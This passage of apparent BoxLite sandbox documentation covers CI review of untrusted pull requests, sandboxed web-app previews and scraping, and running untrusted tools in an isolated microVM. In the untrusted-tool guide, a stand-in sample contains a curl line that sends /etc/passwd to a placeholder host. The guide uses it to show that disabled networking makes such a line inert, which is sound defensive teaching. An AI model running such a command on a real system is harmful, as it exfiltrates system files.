turned both into a verdict. The untrusted `billing.py` never ran on the host. End to end this takes about 19 seconds, most of it installing git. ## Trust and limits * **What the boundary covers.** Every execution surface of the pull request — `setup.py`, `conftest.py`, test bodies, package install scripts — runs on the sandbox's own kernel and filesystem. `rm -rf /`, reading environment variables, or writing files affects the box only. Your GitHub token and review logic never enter it. * **Network is still open by default.** This guide depends on that to install git and clone. It also means a malicious PR can make outbound requests from inside the box. For genuinely untrusted contributions, narrow egress to `github.com` and your package mirror and drop privileges with `exec(..., user="nobody")` — see [Run untrusted tools safely](/use-cases/untrusted-tool-execution). * **`exec` never decides for you.** A failing test is a non-zero `exit_code`, not an exception. Read it. Appending `|| true` to a command silently discards that signal. * **Startup failures are catchable.** No hypervisor or a failed image pull raises `RuntimeError` — a controlled failure, not a crash. ## Troubleshooting | Symptom | Cause | Fix | | - | - | - | | `apt-get install git` exits 100 with `No space left on device` | The default `python:slim` root filesystem is \~224 MB and cannot hold git's dependency chain | `CodeBox(disk_size_gb=4)` | | `executable 'git' not found in $PATH` | `python:slim` has no git, and the install silently failed on a full disk | Increase `disk_size_gb`, then check `exit_code` after every install step | | apt hangs, or `debconf: unable to initialize frontend` | apt wants an interactive frontend and the sandbox has no tty | Pass `env={"DEBIAN_FRONTEND": "noninteractive"}` to `exec` | | Tests clearly failed but the pipeline "passed" | `exec` does not raise on a non-zero exit, and a trailing `\|\| true` swallows the code | Run `python -m pytest -q` unmodified and read `result.exit_code` | | `Model does not exist` (HTTP 400) | Model id does not match the endpoint | Use a model id that endpoint serves | | `RuntimeError` on startup | No hardware virtualization, or the image pull failed | See [Installation](/getting-started/installation) | ## Next steps **Review a real pull request.** Replace steps 2 and 3 of `review_pr()` with a clone — steps 4 to 6 are unchanged: ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # Inside review_pr(), in place of the baseline and PR-branch commits: await box.exec("git", "clone", "--depth", "1", "https://github.com//.git", "/work") await box.exec( "bash", "-lc", "cd /work && git fetch -q origin pull//head:pr && git checkout -q pr", ) ``` Other directions: * **Private repositories and pushing back.** Keep `GITHUB_TOKEN` on the host with `Secret` and inject it through a request header — never in the clone URL. See [GitHub operations](/agent-tools/github-operations). * **Ship code in without network access.** Prepare the working tree on the host and `box.copy_in("./pr_workdir", "/work")` instead of cloning. * **Any language.** `exec` is language-agnostic: with the right image, `exec("bash", "-lc", "go test ./...")` works the same way. See [Run any language or command](/agent-tools/code-execution-any-language). # Preview a sandboxed web app Source: https://docs.boxlite.ai/use-cases/sandboxed-web-app Run a whole web service — generated by a model or uploaded by a user — inside an isolated microVM, and reach its HTTP endpoints from the host as if it were localhost. Live preview without putting untrusted code in your process. **Outcome:** a long-running service in a sandbox, reachable at `http://127.0.0.1:` from your frontend or browser. **Level:** beginner+ · **Time:** \~15 minutes · **Pattern:** the box is a tool the model calls. ## When to use this "AI app builder" products all share one shape: a model writes a Flask, FastAPI, or Next.js fragment, and the user sees it **running in a browser seconds later**. That needs more than "execute code, return stdout": * a **long-lived process** listening on a port inside the isolated environment, * its **HTTP endpoints** reachable from the host frontend, * and a guarantee that if that service crashes, gets injected, or tries to read host files, nothing escapes. Running a user-supplied web server with `subprocess` puts a listening, arbitrary-logic process inside your trust boundary. Port forwarding moves it out: the service listens on `0.0.0.0:` in the box, and the host reaches it at `127.0.0.1:`. ## Architecture ```mermaid theme={"theme":{"light":"github-light","dark":"github-dark"}} flowchart LR subgraph host["Host — trusted"] fe["Frontend / browser / requests"] end subgraph vm["microVM — isolated"] proxy["Guest interface
192.168.127.2"] srv["Web server
bound to 0.0.0.0"] end fe -- "127.0.0.1:8080" --> proxy proxy --> srv srv -- "JSON / HTML" --> fe ``` Two consequences follow from that path: * **Your exposed surface is exactly the ports you declare.** Anything not listed in `ports=` is invisible to the host. * **The service must bind `0.0.0.0`.** Forwarded traffic arrives at the guest's *network interface*, not its loopback. A server bound to `127.0.0.1` inside the box is unreachable from the host — the connection is reset. ## Prerequisites * BoxLite installed and a working virtualization host — see [Installation](/getting-started/installation). * Any image with Python. This guide uses `python:alpine`, whose standard library is enough — no packages to install. No LLM credentials are needed: port forwarding is pure BoxLite. Swapping in model-generated code is covered under [Next steps](#next-steps). ## Build it The app code is a plain string here — in production it is whatever your model generated or your user uploaded. It is written into the box base64-encoded, which avoids shell quoting problems entirely. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio import base64 import urllib.error import urllib.request from boxlite import SimpleBox HOST_PORT = 8080 GUEST_PORT = 8080 # The service to run inside the sandbox. A zero-dependency JSON API keeps the # example self-contained; substitute your generated Flask/FastAPI app here. APP_CODE = f''' import json from http.server import BaseHTTPRequestHandler, HTTPServer class Handler(BaseHTTPRequestHandler): def _json(self, code, payload): body = json.dumps(payload).encode() self.send_response(code) self.send_header("Content-Type", "application/json") self.send_header("Content-Length", str(len(body))) self.end_headers() self.wfile.write(body) def do_GET(self): if self.path == "/api/health": self._json(200, {{"status": "ok"}}) elif self.path.startswith("/api/preview"): self._json(200, {{"html": "

Hello from the sandbox

"}}) else: self._json(404, {{"error": "not found"}}) def log_message(self, *args): # silence the default access log pass # Must bind 0.0.0.0 — see Trust and limits HTTPServer(("0.0.0.0", {GUEST_PORT}), Handler).serve_forever() ''' async def main() -> None: try: # 1) Declare the port mapping when the box is created async with SimpleBox( image="python:alpine", name="webapp-preview", ports=[(HOST_PORT, GUEST_PORT)], reuse_existing=True, # reuse a box of the same name across previews ) as box: print(f"box started: {box.id}") # 2) Write the app into the box (base64 avoids quoting issues) encoded = base64.b64encode(APP_CODE.encode()).decode() await box.exec("sh", "-c", "mkdir -p /app") await box.exec("sh", "-c", f"echo {encoded} | base64 -d > /app/server.py") # 3) Start it in the background so it outlives the exec call. # The server runs beside init, not as it, so the box stays up if the # server dies. Run it as init instead to tie the two together: # /manage-sandbox/lifecycle#three-ways-to-start-work-in-a-box await box.exec("sh", "-c", "nohup python /app/server.py > /tmp/app.log 2>&1 &") await asyncio.sleep(2) # give the server a moment to bind # 4) Call the forwarded endpoints from the host for path in ("/api/health", "/api/preview?id=1", "/api/missing"): url = f"http://127.0.0.1:{HOST_PORT}{path}" try: with urllib.request.urlopen(url, timeout=5) as response: print(f"GET {path} -> {response.status} {response.read().decode()}") except urllib.error.HTTPError as exc: # A 404 from the app is a valid response, not a transport failure print(f"GET {path} -> {exc.code} {exc.read().decode()}") except OSError as exc: print(f"GET {path} failed: {exc!r}") except RuntimeError as exc: print(f"sandbox failed to start: {exc}") asyncio.run(main()) ``` The `ports` parameter table — including the Node shape, which uses objects rather than tuples — lives on [Network access](/manage-sandbox/network-access#port-forwarding-ports). ## Run it ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} python webapp_preview.py ``` ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} box started: iZmRhp8KsTaa GET /api/health -> 200 {"status": "ok"} GET /api/preview?id=1 -> 200 {"html": "

Hello from the sandbox

"} GET /api/missing -> 404 {"error": "not found"} ``` All three responses, including the 404, came from the server running inside the microVM. Point a browser or an iframe at the same `http://127.0.0.1:8080/...` to get live preview. ## Trust and limits * **What the boundary covers.** The service runs on its own kernel and filesystem with its own resource budget. Injection, `rm -rf /`, or an attempt to read host environment variables all stay inside the box; the host only ever receives HTTP on the ports you declared. * **Your attack surface is the port list.** Keep `ports=` as small as the scenario allows. This is the main security lever in this guide. * **Binding `0.0.0.0` is a hard requirement.** Traffic is forwarded to the guest's network interface, not its loopback. Bind `127.0.0.1` inside the box and the host gets `Connection reset by peer`. That is topology, not a defect. * **Nothing health-checks the background process for you.** `exec` returns as soon as the command is launched. Confirm the service is up yourself — a short sleep plus a first request against `/api/health`, as above. Remember too that a non-zero `exec` exit does not raise; check `result.exit_code`. * **Startup failures are catchable.** No hypervisor or a failed image pull raises `RuntimeError`, not a crash. ## Troubleshooting | Symptom | Cause | Fix | | - | - | - | | `Connection reset by peer` or refused from the host | The service bound `127.0.0.1` inside the box | Bind `0.0.0.0` — e.g. `python -m http.server --bind 0.0.0.0` | | `exec` returned but the service is not running | A foreground process ends with the `exec` call | `nohup ... > /tmp/app.log 2>&1 &`, then `cat /tmp/app.log` to debug | | The first request times out | The request beat the server to the port | Sleep briefly, or poll `/api/health` until it returns 200 | | The file written into the box is mangled | Shell quoting ate the newlines | Base64-encode and decode on the way in, as above | | Host cannot reach the port at all | The tuple order is reversed | The order is `(host_port, guest_port)`; connect to `127.0.0.1:` | | Code changes have no effect | `reuse_existing=True` reused the old box and its old process | Kill the old process, change `name`, or set `reuse_existing=False` | ## Next steps * **Turn it into an AI app builder.** Replace `APP_CODE` with a model-generated fragment and embed the forwarded URL in an iframe. The LLM call skeleton is in [Build a code interpreter](/use-cases/code-interpreter). * **Run a real framework.** Use an image with your dependencies (or `pip install flask` in the box) and start it with `flask run --host 0.0.0.0 --port `. Declare one `ports` pair per service. * **Serve many tenants.** For remote, multi-box backends behind one API, use the REST runtime — [Manage remote sandboxes over REST](/guides/agent-service-endpoint). * **Retrieve build artifacts.** `copy_out("/app/dist", "./dist")` — see [Moving files without a mount](/manage-sandbox/volumes#moving-files-without-a-mount). # Run untrusted tools safely Source: https://docs.boxlite.ai/use-cases/untrusted-tool-execution Execute a scanner, a parser, or any third-party binary against a sample you did not write — with the network off, privileges dropped, and the OS sandbox at maximum. Three independent controls stacked on top of the VM boundary. **Outcome:** an analysis bench where an untrusted tool processes an untrusted input and returns only a structured verdict. **Level:** intermediate · **Time:** \~15 minutes · **Pattern:** multi-tenant platform. ## When to use this Two things you did not write meet in one place: **an untrusted tool** and **an untrusted input**. Malware analysis, a file-format parser fed a hostile sample, an unaudited third-party scanner, a linter someone attached to a support ticket. The VM boundary already means a crash or a `rm -rf` cannot reach the host. What it does not decide on its own is whether that tool can *phone home*. A parser that reads your sample and posts it somewhere has not escaped anything — it simply used the network it was given. This guide stacks the three controls that close that gap: | Control | What it stops | How | | - | - | - | | Network policy | Exfiltration and call-backs | `NetworkSpec(mode="disabled")`, or an egress allowlist | | Privilege drop | Writes and reads outside the work area | `user="1000:1000"` | | OS-level sandbox | Syscall and resource abuse around the VM | `SecurityOptions.maximum()` | ## Architecture ```mermaid theme={"theme":{"light":"github-light","dark":"github-dark"}} flowchart LR subgraph host["Host — trusted"] app["Your pipeline"] sample["Untrusted sample"] verdict["Structured verdict"] end subgraph vm["microVM — network disabled, non-root"] tool["Untrusted tool"] work["/work/sample"] end sample -- "copy_in" --> work app -- "exec(tool)" --> tool tool --> work tool -- "exit_code · stdout · stderr" --> verdict ``` The sample goes in explicitly, the verdict comes out explicitly, and there is no third path — no network, no host filesystem, no shared kernel. ## Prerequisites * BoxLite installed and a working virtualization host — see [Installation](/getting-started/installation). * An image containing whatever tool you intend to run. This guide uses `alpine:latest` with `file`. ## Build it ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio from boxlite import SimpleBox, NetworkSpec, SecurityOptions from boxlite import AdvancedBoxOptions async def scan_untrusted(sample_host_path: str) -> dict: """Run an untrusted tool over an untrusted sample and return a verdict.""" async with SimpleBox( image="alpine:latest", # 1) No network at all — exfiltration and call-backs have nowhere to go network=NetworkSpec(mode="disabled"), # 2) Drop privileges: run as a non-root uid:gid user="1000:1000", # 3) Tightest OS-level sandbox around the VM advanced=AdvancedBoxOptions(security=SecurityOptions.maximum()), ) as box: # 4) The sample enters explicitly — copy_in is async, always await it await box.copy_in(sample_host_path, "/work/sample") # 5) Run the tool. exec does not raise on a non-zero exit; read it yourself. result = await box.exec("sh", "-c", "ls -l /work/sample; file /work/sample") return { "exit_code": result.exit_code, "stdout": result.stdout, "stderr": result.stderr, } async def main() -> None: # Stand-in for a real untrusted sample with open("/tmp/untrusted_sample.bin", "wb") as handle: handle.write(b"#!/bin/sh\ncurl http://example.invalid/$(cat /etc/passwd)\n") try: report = await scan_untrusted("/tmp/untrusted_sample.bin") print("exit_code:", report["exit_code"]) print(report["stdout"]) except RuntimeError as exc: print(f"sandbox failed to start: {exc}") asyncio.run(main()) ``` When the tool genuinely needs the network — to refresh a rule database, say — swap the total block for a narrow allowlist: ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} network=NetworkSpec(mode="enabled", allow_net=["updates.example.com"]) ``` Every other host then resolves to `0.0.0.0`: the lookup succeeds and leads nowhere. Parameter tables are on [Network access](/manage-sandbox/network-access#egress-allowlist-network-networkspec) and [Secrets and hardening](/manage-sandbox/secrets-and-security). ## Run it ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} python scan.py ``` ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} exit_code: 0 -rw-r--r-- 1 1000 1000 48 Jan 1 00:00 /work/sample /work/sample: POSIX shell script, ASCII text executable ``` Note the ownership in the listing: the tool ran as uid 1000, not root. The `curl` line inside the sample is inert — with `mode="disabled"` there is no interface to use. ## Trust and limits * **What the boundary covers.** The tool runs on its own kernel and filesystem with its own resource budget, as a non-root user, with no network. Its only outputs are the exit code and the streams you read. * **Isolation and containment are different properties.** The microVM stops damage; the network policy stops exfiltration. A default box has full outbound access — that is convenient for most use cases here and wrong for this one. Set the network explicitly here. * **`user=` labels the process, it is not a full identity boundary.** It stops casual writes outside the work area. It is one layer among three, not a substitute for the network policy or the VM. * **`security=` is not a top-level keyword.** It must be wrapped: `advanced=AdvancedBoxOptions(security=...)`. Passing it directly raises `TypeError`. The presets are `development()`, `standard()`, and `maximum()`; there is no `minimum()`. * **Blocked is not the same as failed.** With egress narrowed, a request to a blocked host resolves to `0.0.0.0` and then fails to connect — you will see a connection error, not a DNS error. Do not read that as "the tool is broken". * **`exec` returns failure as data.** A scanner exiting non-zero is a normal result here. Read `exit_code`; nothing is raised. ## Troubleshooting | Symptom | Cause | Fix | | - | - | - | | `TypeError: BoxOptions.__new__() got an unexpected keyword argument 'security'` | `security=` is not a top-level parameter | Wrap it: `advanced=AdvancedBoxOptions(security=SecurityOptions.maximum())` | | `AttributeError: minimum` on `SecurityOptions` | That preset does not exist | Use `development()`, `standard()`, or `maximum()` | | `ImportError` for `AdvancedBoxOptions` | An old SDK required the submodule path | Upgrade, then `from boxlite import AdvancedBoxOptions` | | The sample is not in the box | `copy_in` is a coroutine that was never awaited | `await box.copy_in(...)` | | The tool reports a connection error, not a DNS error | The host was sinkholed to `0.0.0.0`, so the lookup succeeded | Expected with an allowlist; add the host if it is legitimate | | Permission denied writing outside `/work` | Privileges were dropped as intended | Write to `/work`, or widen `user=` deliberately | ## Next steps * **Apply the same three controls elsewhere.** Any use case here that runs model-generated code can adopt them — start with [Build a code interpreter](/use-cases/code-interpreter). * **Harden a CI pipeline.** [Review untrusted pull requests](/use-cases/sandboxed-ci) needs `github.com` and a package mirror allowed, and nothing else. * **Keep credentials out of the box.** When a tool must authenticate, inject the value at the proxy instead of inside the sandbox — [Secrets and hardening](/manage-sandbox/secrets-and-security). # Scrape and analyze the web safely Source: https://docs.boxlite.ai/use-cases/web-scraping-agent Drive a real browser inside a microVM, parse the untrusted HTML it returns in a *second* sandbox, and only then hand clean structured data to a model. Neither the pages nor their scripts ever run on your host. **Outcome:** a `browse -> parse in isolation -> analyze` pipeline built from two boxes. **Level:** intermediate · **Time:** \~20 minutes · **Pattern:** the agent lives in the box. ## When to use this An agent that browses the open web faces two problems at once. **The content is untrusted.** Page scripts can be hostile, downloads can be malicious, and trackers pollute whatever profile they touch. Calling `playwright.launch()` on your host runs arbitrary remote code next to your process. Parsing the HTML afterwards with a heavyweight parser widens the surface further. **The work does not fit one machine.** Large-scale scraping and cross-browser checks want many browser instances at once, and installing Chromium, Firefox, and WebKit locally is both heavy and messy. The layered answer: a `BrowserBox` runs the real browser inside a microVM and exposes only a control endpoint; your automation script stays in your trusted process and drives it remotely. The HTML that comes back then goes into a `CodeBox` for parsing, so even the parser runs isolated. Only structured data crosses back. ## Architecture ```mermaid theme={"theme":{"light":"github-light","dark":"github-dark"}} flowchart LR bb["BrowserBox — microVM
real Chromium
untrusted pages"] script["Your script
trusted host"] cb["CodeBox — microVM
parses untrusted HTML"] llm["LLM API"] bb <-- "1. CDP: drive / rendered HTML" --> script script -- "2. copy_in(html)" --> cb cb -- "3. structured JSON" --> script script -- "4. clean data only" --> llm ``` The automation logic stays on the host; only the browser and the parser are sandboxed. Two separate boxes means a hostile page cannot influence the parsing step either. ## Prerequisites * BoxLite installed and a working virtualization host — see [Installation](/getting-started/installation). * A Playwright client pinned to the version inside the box — a mismatch fails the connection with `428 Precondition Required`. You do **not** need `playwright install`; the browsers live in the box. * An OpenAI-compatible LLM endpoint for the analysis step. * The first run pulls a multi-gigabyte Playwright image. ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} pip install boxlite openai "playwright==1.58.0" ``` ## Build it ### Step 1: fetch the page with a real browser Connect over CDP with `endpoint()`. That path drives the Chromium already baked into the image, so nothing has to be fetched at runtime. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio import socket import boxlite from playwright.async_api import async_playwright def free_port() -> int: """Pick an unused host port. BrowserBox publishes its endpoint on host port 3000 by default. If something else on your machine already owns 3000, the ws:// URL would point at that unrelated service. Asking for a free port avoids the collision entirely. """ sock = socket.socket() sock.bind(("127.0.0.1", 0)) port = sock.getsockname()[1] sock.close() return port async def scrape(url: str) -> str: """Open url in the isolated browser and return the rendered HTML.""" options = boxlite.BrowserBoxOptions(browser="chromium", port=free_port()) async with boxlite.BrowserBox(options) as browser_box: # endpoint() returns ws://localhost:/devtools/browser/ cdp_ws = await browser_box.endpoint(timeout=120) async with async_playwright() as playwright: # CDP requires connect_over_cdp(), not connect() and not launch() browser = await playwright.chromium.connect_over_cdp(cdp_ws) try: page = await browser.new_page() await page.goto(url, timeout=30000) return await page.content() finally: await browser.close() ``` To use Firefox with Playwright, start the box in Playwright Server mode and connect with `playwright_endpoint()` + `p.firefox.connect(ws)` — the `endpoint()` mode shown above is for Puppeteer, Selenium, and other CDP/BiDi clients. WebKit has no CDP endpoint; it needs the Playwright Server mode described on [Browser automation](/agent-tools/browser-automation#two-connection-modes). ### Step 2: parse the untrusted HTML in a second sandbox The scraped HTML is never parsed on the host. It is copied into a `CodeBox`, extracted there with the standard library only, and comes back as JSON. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio import json from boxlite import CodeBox from openai import OpenAI client = OpenAI() # reads OPENAI_API_KEY (and OPENAI_BASE_URL if set) # Runs inside the CodeBox: standard library only, extracts a list of titles PARSE_CODE = r''' import re, json, html src = open("/work/page.html").read() titles = re.findall(r']*>\s*]*>(.*?)
', src, re.S) titles = [html.unescape(re.sub(r"<[^>]+>", "", t).strip()) for t in titles] print(json.dumps({"count": len(titles), "titles": titles})) ''' async def parse_and_analyze(html_text: str) -> str: # 1) Parse the untrusted HTML inside an isolated CodeBox async with CodeBox() as box: with open("page.html", "w") as handle: handle.write(html_text) await box.copy_in("page.html", "/work/page.html") parsed = json.loads(await box.run(PARSE_CODE)) # 2) Only structured data reaches the model response = client.chat.completions.create( model="", # e.g. "gpt-4o-mini", or any model id your endpoint serves messages=[{"role": "user", "content": "These are scraped headlines:\n" + "\n".join(f"- {title}" for title in parsed["titles"]) + "\nIn one sentence, what is the common theme? Reply in under 20 words."}], ) return response.choices[0].message.content.strip() async def main() -> None: try: html_text = await scrape("https://news.ycombinator.com") print(await parse_and_analyze(html_text)) except RuntimeError as exc: print(f"sandbox failed to start: {exc}") asyncio.run(main()) ``` `BrowserBoxOptions` fields and both connection modes are documented on [Browser automation](/agent-tools/browser-automation). ## Run it ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} export OPENAI_API_KEY="" python scrape_and_analyze.py ``` ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} Technology startups, programming, and AI research dominate the current headlines. ``` The page was rendered by a browser in one microVM, parsed in another, and only a list of strings ever reached your process. ## Trust and limits * **What the boundary covers.** Page scripts, downloads, and any parser weakness are confined to their box. Your process holds only the Playwright client and the extracted data. Both boxes are destroyed on exit. * **Two boxes is the point.** Parsing hostile HTML is itself risky. Keeping it in a separate `CodeBox` means a page that defeats your extraction logic still has not reached the host. * **The client version must match the box.** A Playwright client that disagrees with the in-box server fails with `428 Precondition Required`. Pin both. * **CDP does not cover every browser.** `endpoint()` serves Chromium and Firefox. WebKit requires the Playwright Server mode. * **Egress is open by default.** Scraping needs that. If the target set should be fixed, add an egress allowlist — see [Run untrusted tools safely](/use-cases/untrusted-tool-execution). ## Troubleshooting | Symptom | Cause | Fix | | - | - | - | | `428 Precondition Required` on connect | Client and in-box Playwright versions differ | Pin the client to the version the image ships | | The WebSocket connects to something unexpected | Host port 3000 is already taken by another service | Pass an explicit free port in `BrowserBoxOptions(port=...)` | | `ValueError` from `endpoint()` | The browser is WebKit, which has no CDP endpoint | Use `playwright_endpoint()` with `connect()`, or switch to Chromium | | `connect()` fails against a Chromium endpoint | CDP needs a different call | Use `connect_over_cdp(ws)` for Chromium; `connect(ws)` is for Firefox BiDi | | The first run takes several minutes | The Playwright image is multiple gigabytes | Expected once; later starts are fast | | `page.goto` times out | The site is slow or blocks automation | Raise the timeout; consider `wait_until="domcontentloaded"` | ## Next steps * **Scrape in parallel.** One box per target URL, run with `asyncio.gather`, and bound the fan-out with a semaphore so you do not start dozens of VMs at once. * **Cross-browser checks.** The same script against `chromium` and `firefox` boxes, in parallel, with no local browser installs. * **Turn the data into a chart** — [Build a data analysis agent](/use-cases/data-analysis-agent) picks up where the JSON lands. * **Interact rather than read.** Filling forms and taking screenshots is on [Browser automation](/agent-tools/browser-automation#advanced-screenshots-and-form-interaction).